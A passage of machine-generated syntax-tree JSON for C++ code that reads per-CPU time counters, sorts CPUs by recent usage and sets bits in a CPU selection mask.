{"row": 82, "column": 27}, "end_point": {"row": 82, "column": 32}}, {"id": 390, "type": "identifier", "text": "line", "parent": 389, "children": [], "start_point": {"row": 82, "column": 28}, "end_point": {"row": 82, "column": 32}}, {"id": 391, "type": "pointer_expression", "text": "&len", "parent": 388, "children": [392], "start_point": {"row": 82, "column": 34}, "end_point": {"row": 82, "column": 38}}, {"id": 392, "type": "identifier", "text": "len", "parent": 391, "children": [], "start_point": {"row": 82, "column": 35}, "end_point": {"row": 82, "column": 38}}, {"id": 393, "type": "field_expression", "text": "this->fd", "parent": 388, "children": [394, 395], "start_point": {"row": 82, "column": 40}, "end_point": {"row": 82, "column": 48}}, {"id": 394, "type": "identifier", "text": "this", "parent": 393, "children": [], "start_point": {"row": 82, "column": 40}, "end_point": {"row": 82, "column": 44}}, {"id": 395, "type": "field_identifier", "text": "fd", "parent": 393, "children": [], "start_point": {"row": 82, "column": 46}, "end_point": {"row": 82, "column": 48}}, {"id": 396, "type": "!=", "text": "!=", "parent": 381, "children": [], "start_point": {"row": 82, "column": 51}, "end_point": {"row": 82, "column": 53}}, {"id": 397, "type": "number_literal", "text": "-1", "parent": 381, "children": [], "start_point": {"row": 82, "column": 54}, "end_point": {"row": 82, "column": 56}}, {"id": 398, "type": "&&", "text": "&&", "parent": 380, "children": [], "start_point": {"row": 83, "column": 11}, "end_point": {"row": 83, "column": 13}}, {"id": 399, "type": "binary_expression", "text": "t_cpu < lasttimes.size()", "parent": 380, "children": [400, 401, 402], "start_point": {"row": 83, "column": 14}, "end_point": {"row": 83, "column": 38}}, {"id": 400, "type": "identifier", "text": "t_cpu", "parent": 399, "children": [], "start_point": {"row": 83, "column": 14}, "end_point": {"row": 83, "column": 19}}, {"id": 401, "type": "<", "text": "<", "parent": 399, "children": [], "start_point": {"row": 83, "column": 20}, "end_point": {"row": 83, "column": 21}}, {"id": 402, "type": "call_expression", "text": "lasttimes.size()", "parent": 399, "children": [403, 406], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 38}}, {"id": 403, "type": "field_expression", "text": "lasttimes.size", "parent": 402, "children": [404, 405], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 36}}, {"id": 404, "type": "identifier", "text": "lasttimes", "parent": 403, "children": [], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 31}}, {"id": 405, "type": "field_identifier", "text": "size", "parent": 403, "children": [], "start_point": {"row": 83, "column": 32}, "end_point": {"row": 83, "column": 36}}, {"id": 406, "type": "argument_list", "text": "()", "parent": 402, "children": [], "start_point": {"row": 83, "column": 36}, "end_point": {"row": 83, "column": 38}}, {"id": 407, "type": "declaration", "text": "char *t_line = line;", "parent": 378, "children": [408, 409], "start_point": {"row": 84, "column": 6}, "end_point": {"row": 84, "column": 26}}, {"id": 408, "type": "primitive_type", "text": "char", "parent": 407, "children": [], "start_point": {"row": 84, "column": 6}, "end_point": {"row": 84, "column": 10}}, {"id": 409, "type": "init_declarator", "text": "*t_line = line", "parent": 407, "children": [410, 413, 414], "start_point": {"row": 84, "column": 11}, "end_point": {"row": 84, "column": 25}}, {"id": 410, "type": "pointer_declarator", "text": "*t_line", "parent": 409, "children": [411, 412], "start_point": {"row": 84, "column": 11}, "end_point": {"row": 84, "column": 18}}, {"id": 411, "type": "*", "text": "*", "parent": 410, "children": [], "start_point": {"row": 84, "column": 11}, "end_point": {"row": 84, "column": 12}}, {"id": 412, "type": "identifier", "text": "t_line", "parent": 410, "children": [], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 18}}, {"id": 413, "type": "=", "text": "=", "parent": 409, "children": [], "start_point": {"row": 84, "column": 19}, "end_point": {"row": 84, "column": 20}}, {"id": 414, "type": "identifier", "text": "line", "parent": 409, "children": [], "start_point": {"row": 84, "column": 21}, "end_point": {"row": 84, "column": 25}}, {"id": 415, "type": "assignment_expression", "text": "t_line += 3", "parent": 378, "children": [416, 417, 418], "start_point": {"row": 85, "column": 6}, "end_point": {"row": 85, "column": 17}}, {"id": 416, "type": "identifier", "text": "t_line", "parent": 415, "children": [], "start_point": {"row": 85, "column": 6}, "end_point": {"row": 85, "column": 12}}, {"id": 417, "type": "+=", "text": "+=", "parent": 415, "children": [], "start_point": {"row": 85, "column": 13}, "end_point": {"row": 85, "column": 15}}, {"id": 418, "type": "number_literal", "text": "3", "parent": 415, "children": [], "start_point": {"row": 85, "column": 16}, "end_point": {"row": 85, "column": 17}}, {"id": 419, "type": "assignment_expression", "text": "t_line += t_cpu / 10", "parent": 378, "children": [420, 421, 422], "start_point": {"row": 86, "column": 6}, "end_point": {"row": 86, "column": 26}}, {"id": 420, "type": "identifier", "text": "t_line", "parent": 419, "children": [], "start_point": {"row": 86, "column": 6}, "end_point": {"row": 86, "column": 12}}, {"id": 421, "type": "+=", "text": "+=", "parent": 419, "children": [], "start_point": {"row": 86, "column": 13}, "end_point": {"row": 86, "column": 15}}, {"id": 422, "type": "binary_expression", "text": "t_cpu / 10", "parent": 419, "children": [423, 424, 425], "start_point": {"row": 86, "column": 16}, "end_point": {"row": 86, "column": 26}}, {"id": 423, "type": "identifier", "text": "t_cpu", "parent": 422, "children": [], "start_point": {"row": 86, "column": 16}, "end_point": {"row": 86, "column": 21}}, {"id": 424, "type": "/", "text": "/", "parent": 422, "children": [], "start_point": {"row": 86, "column": 22}, "end_point": {"row": 86, "column": 23}}, {"id": 425, "type": "number_literal", "text": "10", "parent": 422, "children": [], "start_point": {"row": 86, "column": 24}, "end_point": {"row": 86, "column": 26}}, {"id": 426, "type": "update_expression", "text": "++t_line", "parent": 378, "children": [427, 428], "start_point": {"row": 87, "column": 6}, "end_point": {"row": 87, "column": 14}}, {"id": 427, "type": "++", "text": "++", "parent": 426, "children": [], "start_point": {"row": 87, "column": 6}, "end_point": {"row": 87, "column": 8}}, {"id": 428, "type": "identifier", "text": "t_line", "parent": 426, "children": [], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 14}}, {"id": 429, "type": "declaration", "text": "unsigned long long utime = strtoull(t_line, &t_line, 10);", "parent": 378, "children": [430, 434], "start_point": {"row": 88, "column": 6}, "end_point": {"row": 88, "column": 63}}, {"id": 430, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 429, "children": [431, 432, 433], "start_point": {"row": 88, "column": 6}, "end_point": {"row": 88, "column": 24}}, {"id": 431, "type": "unsigned", "text": "unsigned", "parent": 430, "children": [], "start_point": {"row": 88, "column": 6}, "end_point": {"row": 88, "column": 14}}, {"id": 432, "type": "long", "text": "long", "parent": 430, "children": [], "start_point": {"row": 88, "column": 15}, "end_point": {"row": 88, "column": 19}}, {"id": 433, "type": "long", "text": "long", "parent": 430, "children": [], "start_point": {"row": 88, "column": 20}, "end_point": {"row": 88, "column": 24}}, {"id": 434, "type": "init_declarator", "text": "utime = strtoull(t_line, &t_line, 10)", "parent": 429, "children": [435, 436, 437], "start_point": {"row": 88, "column": 25}, "end_point": {"row": 88, "column": 62}}, {"id": 435, "type": "identifier", "text": "utime", "parent": 434, "children": [], "start_point": {"row": 88, "column": 25}, "end_point": {"row": 88, "column": 30}}, {"id": 436, "type": "=", "text": "=", "parent": 434, "children": [], "start_point": {"row": 88, "column": 31}, "end_point": {"row": 88, "column": 32}}, {"id": 437, "type": "call_expression", "text": "strtoull(t_line, &t_line, 10)", "parent": 434, "children": [438, 439], "start_point": {"row": 88, "column": 33}, "end_point": {"row": 88, "column": 62}}, {"id": 438, "type": "identifier", "text": "strtoull", "parent": 437, "children": [], "start_point": {"row": 88, "column": 33}, "end_point": {"row": 88, "column": 41}}, {"id": 439, "type": "argument_list", "text": "(t_line, &t_line, 10)", "parent": 437, "children": [440, 441, 443], "start_point": {"row": 88, "column": 41}, "end_point": {"row": 88, "column": 62}}, {"id": 440, "type": "identifier", "text": "t_line", "parent": 439, "children": [], "start_point": {"row": 88, "column": 42}, "end_point": {"row": 88, "column": 48}}, {"id": 441, "type": "pointer_expression", "text": "&t_line", "parent": 439, "children": [442], "start_point": {"row": 88, "column": 50}, "end_point": {"row": 88, "column": 57}}, {"id": 442, "type": "identifier", "text": "t_line", "parent": 441, "children": [], "start_point": {"row": 88, "column": 51}, "end_point": {"row": 88, "column": 57}}, {"id": 443, "type": "number_literal", "text": "10", "parent": 439, "children": [], "start_point": {"row": 88, "column": 59}, "end_point": {"row": 88, "column": 61}}, {"id": 444, "type": "update_expression", "text": "++t_line", "parent": 378, "children": [445, 446], "start_point": {"row": 89, "column": 6}, "end_point": {"row": 89, "column": 14}}, {"id": 445, "type": "++", "text": "++", "parent": 444, "children": [], "start_point": {"row": 89, "column": 6}, "end_point": {"row": 89, "column": 8}}, {"id": 446, "type": "identifier", "text": "t_line", "parent": 444, "children": [], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 14}}, {"id": 447, "type": "declaration", "text": "unsigned long long ntime = strtoull(t_line, &t_line, 10);", "parent": 378, "children": [448, 452], "start_point": {"row": 90, "column": 6}, "end_point": {"row": 90, "column": 63}}, {"id": 448, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 447, "children": [449, 450, 451], "start_point": {"row": 90, "column": 6}, "end_point": {"row": 90, "column": 24}}, {"id": 449, "type": "unsigned", "text": "unsigned", "parent": 448, "children": [], "start_point": {"row": 90, "column": 6}, "end_point": {"row": 90, "column": 14}}, {"id": 450, "type": "long", "text": "long", "parent": 448, "children": [], "start_point": {"row": 90, "column": 15}, "end_point": {"row": 90, "column": 19}}, {"id": 451, "type": "long", "text": "long", "parent": 448, "children": [], "start_point": {"row": 90, "column": 20}, "end_point": {"row": 90, "column": 24}}, {"id": 452, "type": "init_declarator", "text": "ntime = strtoull(t_line, &t_line, 10)", "parent": 447, "children": [453, 454, 455], "start_point": {"row": 90, "column": 25}, "end_point": {"row": 90, "column": 62}}, {"id": 453, "type": "identifier", "text": "ntime", "parent": 452, "children": [], "start_point": {"row": 90, "column": 25}, "end_point": {"row": 90, "column": 30}}, {"id": 454, "type": "=", "text": "=", "parent": 452, "children": [], "start_point": {"row": 90, "column": 31}, "end_point": {"row": 90, "column": 32}}, {"id": 455, "type": "call_expression", "text": "strtoull(t_line, &t_line, 10)", "parent": 452, "children": [456, 457], "start_point": {"row": 90, "column": 33}, "end_point": {"row": 90, "column": 62}}, {"id": 456, "type": "identifier", "text": "strtoull", "parent": 455, "children": [], "start_point": {"row": 90, "column": 33}, "end_point": {"row": 90, "column": 41}}, {"id": 457, "type": "argument_list", "text": "(t_line, &t_line, 10)", "parent": 455, "children": [458, 459, 461], "start_point": {"row": 90, "column": 41}, "end_point": {"row": 90, "column": 62}}, {"id": 458, "type": "identifier", "text": "t_line", "parent": 457, "children": [], "start_point": {"row": 90, "column": 42}, "end_point": {"row": 90, "column": 48}}, {"id": 459, "type": "pointer_expression", "text": "&t_line", "parent": 457, "children": [460], "start_point": {"row": 90, "column": 50}, "end_point": {"row": 90, "column": 57}}, {"id": 460, "type": "identifier", "text": "t_line", "parent": 459, "children": [], "start_point": {"row": 90, "column": 51}, "end_point": {"row": 90, "column": 57}}, {"id": 461, "type": "number_literal", "text": "10", "parent": 457, "children": [], "start_point": {"row": 90, "column": 59}, "end_point": {"row": 90, "column": 61}}, {"id": 462, "type": "update_expression", "text": "++t_line", "parent": 378, "children": [463, 464], "start_point": {"row": 91, "column": 6}, "end_point": {"row": 91, "column": 14}}, {"id": 463, "type": "++", "text": "++", "parent": 462, "children": [], "start_point": {"row": 91, "column": 6}, "end_point": {"row": 91, "column": 8}}, {"id": 464, "type": "identifier", "text": "t_line", "parent": 462, "children": [], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 14}}, {"id": 465, "type": "declaration", "text": "unsigned long long stime = strtoull(t_line, &t_line, 10);", "parent": 378, "children": [466, 470], "start_point": {"row": 92, "column": 6}, "end_point": {"row": 92, "column": 63}}, {"id": 466, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 465, "children": [467, 468, 469], "start_point": {"row": 92, "column": 6}, "end_point": {"row": 92, "column": 24}}, {"id": 467, "type": "unsigned", "text": "unsigned", "parent": 466, "children": [], "start_point": {"row": 92, "column": 6}, "end_point": {"row": 92, "column": 14}}, {"id": 468, "type": "long", "text": "long", "parent": 466, "children": [], "start_point": {"row": 92, "column": 15}, "end_point": {"row": 92, "column": 19}}, {"id": 469, "type": "long", "text": "long", "parent": 466, "children": [], "start_point": {"row": 92, "column": 20}, "end_point": {"row": 92, "column": 24}}, {"id": 470, "type": "init_declarator", "text": "stime = strtoull(t_line, &t_line, 10)", "parent": 465, "children": [471, 472, 473], "start_point": {"row": 92, "column": 25}, "end_point": {"row": 92, "column": 62}}, {"id": 471, "type": "identifier", "text": "stime", "parent": 470, "children": [], "start_point": {"row": 92, "column": 25}, "end_point": {"row": 92, "column": 30}}, {"id": 472, "type": "=", "text": "=", "parent": 470, "children": [], "start_point": {"row": 92, "column": 31}, "end_point": {"row": 92, "column": 32}}, {"id": 473, "type": "call_expression", "text": "strtoull(t_line, &t_line, 10)", "parent": 470, "children": [474, 475], "start_point": {"row": 92, "column": 33}, "end_point": {"row": 92, "column": 62}}, {"id": 474, "type": "identifier", "text": "strtoull", "parent": 473, "children": [], "start_point": {"row": 92, "column": 33}, "end_point": {"row": 92, "column": 41}}, {"id": 475, "type": "argument_list", "text": "(t_line, &t_line, 10)", "parent": 473, "children": [476, 477, 479], "start_point": {"row": 92, "column": 41}, "end_point": {"row": 92, "column": 62}}, {"id": 476, "type": "identifier", "text": "t_line", "parent": 475, "children": [], "start_point": {"row": 92, "column": 42}, "end_point": {"row": 92, "column": 48}}, {"id": 477, "type": "pointer_expression", "text": "&t_line", "parent": 475, "children": [478], "start_point": {"row": 92, "column": 50}, "end_point": {"row": 92, "column": 57}}, {"id": 478, "type": "identifier", "text": "t_line", "parent": 477, "children": [], "start_point": {"row": 92, "column": 51}, "end_point": {"row": 92, "column": 57}}, {"id": 479, "type": "number_literal", "text": "10", "parent": 475, "children": [], "start_point": {"row": 92, "column": 59}, "end_point": {"row": 92, "column": 61}}, {"id": 480, "type": "declaration", "text": "unsigned long long cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ];", "parent": 378, "children": [481, 485], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 87}}, {"id": 481, "type": "sized_type_specifier", "text": "unsigned long long", "parent": 480, "children": [482, 483, 484], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 24}}, {"id": 482, "type": "unsigned", "text": "unsigned", "parent": 481, "children": [], "start_point": {"row": 94, "column": 6}, "end_point": {"row": 94, "column": 14}}, {"id": 483, "type": "long", "text": "long", "parent": 481, "children": [], "start_point": {"row": 94, "column": 15}, "end_point": {"row": 94, "column": 19}}, {"id": 484, "type": "long", "text": "long", "parent": 481, "children": [], "start_point": {"row": 94, "column": 20}, "end_point": {"row": 94, "column": 24}}, {"id": 485, "type": "init_declarator", "text": "cmp_diff = (utime + ntime + stime) - this->lasttimes[ t_cpu ]", "parent": 480, "children": [486, 487, 488], "start_point": {"row": 94, "column": 25}, "end_point": {"row": 94, "column": 86}}, {"id": 486, "type": "identifier", "text": "cmp_diff", "parent": 485, "children": [], "start_point": {"row": 94, "column": 25}, "end_point": {"row": 94, "column": 33}}, {"id": 487, "type": "=", "text": "=", "parent": 485, "children": [], "start_point": {"row": 94, "column": 34}, "end_point": {"row": 94, "column": 35}}, {"id": 488, "type": "binary_expression", "text": "(utime + ntime + stime) - this->lasttimes[ t_cpu ]", "parent": 485, "children": [489, 497, 498], "start_point": {"row": 94, "column": 36}, "end_point": {"row": 94, "column": 86}}, {"id": 489, "type": "parenthesized_expression", "text": "(utime + ntime + stime)", "parent": 488, "children": [490], "start_point": {"row": 94, "column": 36}, "end_point": {"row": 94, "column": 59}}, {"id": 490, "type": "binary_expression", "text": "utime + ntime + stime", "parent": 489, "children": [491, 495, 496], "start_point": {"row": 94, "column": 37}, "end_point": {"row": 94, "column": 58}}, {"id": 491, "type": "binary_expression", "text": "utime + ntime", "parent": 490, "children": [492, 493, 494], "start_point": {"row": 94, "column": 37}, "end_point": {"row": 94, "column": 50}}, {"id": 492, "type": "identifier", "text": "utime", "parent": 491, "children": [], "start_point": {"row": 94, "column": 37}, "end_point": {"row": 94, "column": 42}}, {"id": 493, "type": "+", "text": "+", "parent": 491, "children": [], "start_point": {"row": 94, "column": 43}, "end_point": {"row": 94, "column": 44}}, {"id": 494, "type": "identifier", "text": "ntime", "parent": 491, "children": [], "start_point": {"row": 94, "column": 45}, "end_point": {"row": 94, "column": 50}}, {"id": 495, "type": "+", "text": "+", "parent": 490, "children": [], "start_point": {"row": 94, "column": 51}, "end_point": {"row": 94, "column": 52}}, {"id": 496, "type": "identifier", "text": "stime", "parent": 490, "children": [], "start_point": {"row": 94, "column": 53}, "end_point": {"row": 94, "column": 58}}, {"id": 497, "type": "-", "text": "-", "parent": 488, "children": [], "start_point": {"row": 94, "column": 60}, "end_point": {"row": 94, "column": 61}}, {"id": 498, "type": "subscript_expression", "text": "this->lasttimes[ t_cpu ]", "parent": 488, "children": [499, 502], "start_point": {"row": 94, "column": 62}, "end_point": {"row": 94, "column": 86}}, {"id": 499, "type": "field_expression", "text": "this->lasttimes", "parent": 498, "children": [500, 501], "start_point": {"row": 94, "column": 62}, "end_point": {"row": 94, "column": 77}}, {"id": 500, "type": "identifier", "text": "this", "parent": 499, "children": [], "start_point": {"row": 94, "column": 62}, "end_point": {"row": 94, "column": 66}}, {"id": 501, "type": "field_identifier", "text": "lasttimes", "parent": 499, "children": [], "start_point": {"row": 94, "column": 68}, "end_point": {"row": 94, "column": 77}}, {"id": 502, "type": "identifier", "text": "t_cpu", "parent": 498, "children": [], "start_point": {"row": 94, "column": 79}, "end_point": {"row": 94, "column": 84}}, {"id": 503, "type": "assignment_expression", "text": "this->lasttimes[ t_cpu ] = utime + ntime + stime", "parent": 378, "children": [504, 509, 510], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 54}}, {"id": 504, "type": "subscript_expression", "text": "this->lasttimes[ t_cpu ]", "parent": 503, "children": [505, 508], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 30}}, {"id": 505, "type": "field_expression", "text": "this->lasttimes", "parent": 504, "children": [506, 507], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 21}}, {"id": 506, "type": "identifier", "text": "this", "parent": 505, "children": [], "start_point": {"row": 95, "column": 6}, "end_point": {"row": 95, "column": 10}}, {"id": 507, "type": "field_identifier", "text": "lasttimes", "parent": 505, "children": [], "start_point": {"row": 95, "column": 12}, "end_point": {"row": 95, "column": 21}}, {"id": 508, "type": "identifier", "text": "t_cpu", "parent": 504, "children": [], "start_point": {"row": 95, "column": 23}, "end_point": {"row": 95, "column": 28}}, {"id": 509, "type": "=", "text": "=", "parent": 503, "children": [], "start_point": {"row": 95, "column": 31}, "end_point": {"row": 95, "column": 32}}, {"id": 510, "type": "binary_expression", "text": "utime + ntime + stime", "parent": 503, "children": [511, 515, 516], "start_point": {"row": 95, "column": 33}, "end_point": {"row": 95, "column": 54}}, {"id": 511, "type": "binary_expression", "text": "utime + ntime", "parent": 510, "children": [512, 513, 514], "start_point": {"row": 95, "column": 33}, "end_point": {"row": 95, "column": 46}}, {"id": 512, "type": "identifier", "text": "utime", "parent": 511, "children": [], "start_point": {"row": 95, "column": 33}, "end_point": {"row": 95, "column": 38}}, {"id": 513, "type": "+", "text": "+", "parent": 511, "children": [], "start_point": {"row": 95, "column": 39}, "end_point": {"row": 95, "column": 40}}, {"id": 514, "type": "identifier", "text": "ntime", "parent": 511, "children": [], "start_point": {"row": 95, "column": 41}, "end_point": {"row": 95, "column": 46}}, {"id": 515, "type": "+", "text": "+", "parent": 510, "children": [], "start_point": {"row": 95, "column": 47}, "end_point": {"row": 95, "column": 48}}, {"id": 516, "type": "identifier", "text": "stime", "parent": 510, "children": [], "start_point": {"row": 95, "column": 49}, "end_point": {"row": 95, "column": 54}}, {"id": 517, "type": "if_statement", "text": "if (avail_cpu_mask.isset_bit(t_cpu))\n g.push_back({ cmp_diff, t_cpu });", "parent": 378, "children": [518], "start_point": {"row": 97, "column": 6}, "end_point": {"row": 98, "column": 41}}, {"id": 518, "type": "parenthesized_expression", "text": "(avail_cpu_mask.isset_bit(t_cpu))", "parent": 517, "children": [519], "start_point": {"row": 97, "column": 9}, "end_point": {"row": 97, "column": 42}}, {"id": 519, "type": "call_expression", "text": "avail_cpu_mask.isset_bit(t_cpu)", "parent": 518, "children": [520, 523], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 41}}, {"id": 520, "type": "field_expression", "text": "avail_cpu_mask.isset_bit", "parent": 519, "children": [521, 522], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 34}}, {"id": 521, "type": "identifier", "text": "avail_cpu_mask", "parent": 520, "children": [], "start_point": {"row": 97, "column": 10}, "end_point": {"row": 97, "column": 24}}, {"id": 522, "type": "field_identifier", "text": "isset_bit", "parent": 520, "children": [], "start_point": {"row": 97, "column": 25}, "end_point": {"row": 97, "column": 34}}, {"id": 523, "type": "argument_list", "text": "(t_cpu)", "parent": 519, "children": [524], "start_point": {"row": 97, "column": 34}, "end_point": {"row": 97, "column": 41}}, {"id": 524, "type": "identifier", "text": "t_cpu", "parent": 523, "children": [], "start_point": {"row": 97, "column": 35}, "end_point": {"row": 97, "column": 40}}, {"id": 525, "type": "call_expression", "text": "g.push_back({ cmp_diff, t_cpu })", "parent": 517, "children": [526, 529], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 98, "column": 40}}, {"id": 526, "type": "field_expression", "text": "g.push_back", "parent": 525, "children": [527, 528], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 98, "column": 19}}, {"id": 527, "type": "identifier", "text": "g", "parent": 526, "children": [], "start_point": {"row": 98, "column": 8}, "end_point": {"row": 98, "column": 9}}, {"id": 528, "type": "field_identifier", "text": "push_back", "parent": 526, "children": [], "start_point": {"row": 98, "column": 10}, "end_point": {"row": 98, "column": 19}}, {"id": 529, "type": "argument_list", "text": "({ cmp_diff, t_cpu })", "parent": 525, "children": [], "start_point": {"row": 98, "column": 19}, "end_point": {"row": 98, "column": 40}}, {"id": 530, "type": "comma_expression", "text": "cmp_diff, t_cpu", "parent": 529, "children": [531, 532], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 37}}, {"id": 531, "type": "identifier", "text": "cmp_diff", "parent": 530, "children": [], "start_point": {"row": 98, "column": 22}, "end_point": {"row": 98, "column": 30}}, {"id": 532, "type": "identifier", "text": "t_cpu", "parent": 530, "children": [], "start_point": {"row": 98, "column": 32}, "end_point": {"row": 98, "column": 37}}, {"id": 533, "type": "update_expression", "text": "++t_cpu", "parent": 378, "children": [534, 535], "start_point": {"row": 100, "column": 6}, "end_point": {"row": 100, "column": 13}}, {"id": 534, "type": "++", "text": "++", "parent": 533, "children": [], "start_point": {"row": 100, "column": 6}, "end_point": {"row": 100, "column": 8}}, {"id": 535, "type": "identifier", "text": "t_cpu", "parent": 533, "children": [], "start_point": {"row": 100, "column": 8}, "end_point": {"row": 100, "column": 13}}, {"id": 536, "type": "call_expression", "text": "free(line)", "parent": 295, "children": [537, 538], "start_point": {"row": 102, "column": 4}, "end_point": {"row": 102, "column": 14}}, {"id": 537, "type": "identifier", "text": "free", "parent": 536, "children": [], "start_point": {"row": 102, "column": 4}, "end_point": {"row": 102, "column": 8}}, {"id": 538, "type": "argument_list", "text": "(line)", "parent": 536, "children": [539], "start_point": {"row": 102, "column": 8}, "end_point": {"row": 102, "column": 14}}, {"id": 539, "type": "identifier", "text": "line", "parent": 538, "children": [], "start_point": {"row": 102, "column": 9}, "end_point": {"row": 102, "column": 13}}, {"id": 540, "type": "call_expression", "text": "g.sort(cmp_sort)", "parent": 295, "children": [541, 544], "start_point": {"row": 104, "column": 4}, "end_point": {"row": 104, "column": 20}}, {"id": 541, "type": "field_expression", "text": "g.sort", "parent": 540, "children": [542, 543], "start_point": {"row": 104, "column": 4}, "end_point": {"row": 104, "column": 10}}, {"id": 542, "type": "identifier", "text": "g", "parent": 541, "children": [], "start_point": {"row": 104, "column": 4}, "end_point": {"row": 104, "column": 5}}, {"id": 543, "type": "field_identifier", "text": "sort", "parent": 541, "children": [], "start_point": {"row": 104, "column": 6}, "end_point": {"row": 104, "column": 10}}, {"id": 544, "type": "argument_list", "text": "(cmp_sort)", "parent": 540, "children": [545], "start_point": {"row": 104, "column": 10}, "end_point": {"row": 104, "column": 20}}, {"id": 545, "type": "identifier", "text": "cmp_sort", "parent": 544, "children": [], "start_point": {"row": 104, "column": 11}, "end_point": {"row": 104, "column": 19}}, {"id": 546, "type": "for_statement", "text": "for (unsigned c = 0; c < cpu_req_amount\n && !g.empty(); ++c) {\n mask.set_bit(g.front().cpu);\n g.pop_front();\n }", "parent": 295, "children": [547, 554, 567], "start_point": {"row": 106, "column": 4}, "end_point": {"row": 110, "column": 5}}, {"id": 547, "type": "declaration", "text": "unsigned c = 0;", "parent": 546, "children": [548, 550], "start_point": {"row": 106, "column": 9}, "end_point": {"row": 106, "column": 24}}, {"id": 548, "type": "sized_type_specifier", "text": "unsigned", "parent": 547, "children": [549], "start_point": {"row": 106, "column": 9}, "end_point": {"row": 106, "column": 17}}, {"id": 549, "type": "unsigned", "text": "unsigned", "parent": 548, "children": [], "start_point": {"row": 106, "column": 9}, "end_point": {"row": 106, "column": 17}}, {"id": 550, "type": "init_declarator", "text": "c = 0", "parent": 547, "children": [551, 552, 553], "start_point": {"row": 106, "column": 18}, "end_point": {"row": 106, "column": 23}}, {"id": 551, "type": "identifier", "text": "c", "parent": 550, "children": [], "start_point": {"row": 106, "column": 18}, "end_point": {"row": 106, "column": 19}}, {"id": 552, "type": "=", "text": "=", "parent": 550, "children": [], "start_point": {"row": 106, "column": 20}, "end_point": {"row": 106, "column": 21}}, {"id": 553, "type": "number_literal", "text": "0", "parent": 550, "children": [], "start_point": {"row": 106, "column": 22}, "end_point": {"row": 106, "column": 23}}, {"id": 554, "type": "binary_expression", "text": "c < cpu_req_amount\n && !g.empty()", "parent": 546, "children": [555, 559, 560], "start_point": {"row": 106, "column": 25}, "end_point": {"row": 107, "column": 22}}, {"id": 555, "type": "binary_expression", "text": "c < cpu_req_amount", "parent": 554, "children": [556, 557, 558], "start_point": {"row": 106, "column": 25}, "end_point": {"row": 106, "column": 43}}, {"id": 556, "type": "identifier", "text": "c", "parent": 555, "children": [], "start_point": {"row": 106, "column": 25}, "end_point": {"row": 106, "column": 26}}, {"id": 557, "type": "<", "text": "<", "parent": 555, "children": [], "start_point": {"row": 106, "column": 27}, "end_point": {"row": 106, "column": 28}}, {"id": 558, "type": "identifier", "text": "cpu_req_amount", "parent": 555, "children": [], "start_point": {"row": 106, "column": 29}, "end_point": {"row": 106, "column": 43}}, {"id": 559, "type": "&&", "text": "&&", "parent": 554, "children": [], "start_point": {"row": 107, "column": 9}, "end_point": {"row": 107, "column": 11}}, {"id": 560, "type": "unary_expression", "text": "!g.empty()", "parent": 554, "children": [561, 562], "start_point": {"row": 107, "column": 12}, "end_point": {"row": 107, "column": 22}}, {"id": 561, "type": "!", "text": "!", "parent": 560, "children": [], "start_point": {"row": 107, "column": 12}, "end_point": {"row": 107, "column": 13}}, {"id": 562, "type": "call_expression", "text": "g.empty()", "parent": 560, "children": [563, 566], "start_point": {"row": 107, "column": 13}, "end_point": {"row": 107, "column": 22}}, {"id": 563, "type": "field_expression", "text": "g.empty", "parent": 562, "children": [564, 565], "start_point": {"row": 107, "column": 13}, "end_point": {"row": 107, "column": 20}}, {"id": 564, "type": "identifier", "text": "g", "parent": 563, "children": [], "start_point": {"row": 107, "column": 13}, "end_point": {"row": 107, "column": 14}}, {"id": 565, "type": "field_identifier", "text": "empty", "parent": 563, "children": [], "start_point": {"row": 107, "column": 15}, "end_point": {"row": 107, "column": 20}}, {"id": 566, "type": "argument_list", "text": "()", "parent": 562, "children": [], "start_point": {"row": 107, "column": 20}, "end_point": {"row": 107, "column": 22}}, {"id": 567, "type": "update_expression", "text": "++c", "parent": 546, "children": [568, 569], "start_point": {"row": 107, "column": 24}, "end_point": {"row": 107, "column": 27}}, {"id": 568, "type": "++", "text": "++", "parent": 567, "children": [], "start_point": {"row": 107, "column": 24}, "end_point": {"row": 107, "column": 26}}, {"id": 569, "type": "identifier", "text": "c", "parent": 567, "children": [], "start_point": {"row": 107, "column": 26}, "end_point": {"row": 107, "column": 27}}, {"id": 570, "type": "call_expression", "text": "mask.set_bit(g.front().cpu)", "parent": 546, "children": [571, 574], "start_point": {"row": 108, "column": 6}, "end_point": {"row": 108, "column": 33}}, {"id": 571, "type": "field_expression", "text": "mask.set_bit", "parent": 570, "children": [572, 573], "start_point": {"row": 108, "column": 6}, "end_point": {"row": 108, "column": 18}}, {"id": 572, "type": "identifier", "text": "mask", "parent": 571, "children": [], "start_point": {"row": 108, "column": 6}, "end_point": {"row": 108, "column": 10}}, {"id": 573, "type": "field_identifier", "text": "set_bit", "parent": 571, "children": [], "start_point": {"row": 108, "column": 11}, "end_point": {"row": 108, "column": 18}}, {"id": 574, "type": "argument_list", "text": "(g.front().cpu)", "parent": 570, "children": [575], "start_point": {"row": 108, "column": 18}, "end_point": {"row": 108, "column": 33}}, {"id": 575, "type": "field_expression", "text": "g.front().cpu", "parent": 574, "children": [576, 581], "start_point": {"row": 108, "column": 19}, "end_point": {"row": 108, "column": 32}}, {"id": 576, "type": "call_expression", "text": "g.front()", "parent": 575, "children": [577, 580], "start_point": {"row": 108, "column": 19}, "end_point": {"row": 108, "column": 28}}, {"id": 577, "type": "field_expression", "text": "g.front", "parent": 576, 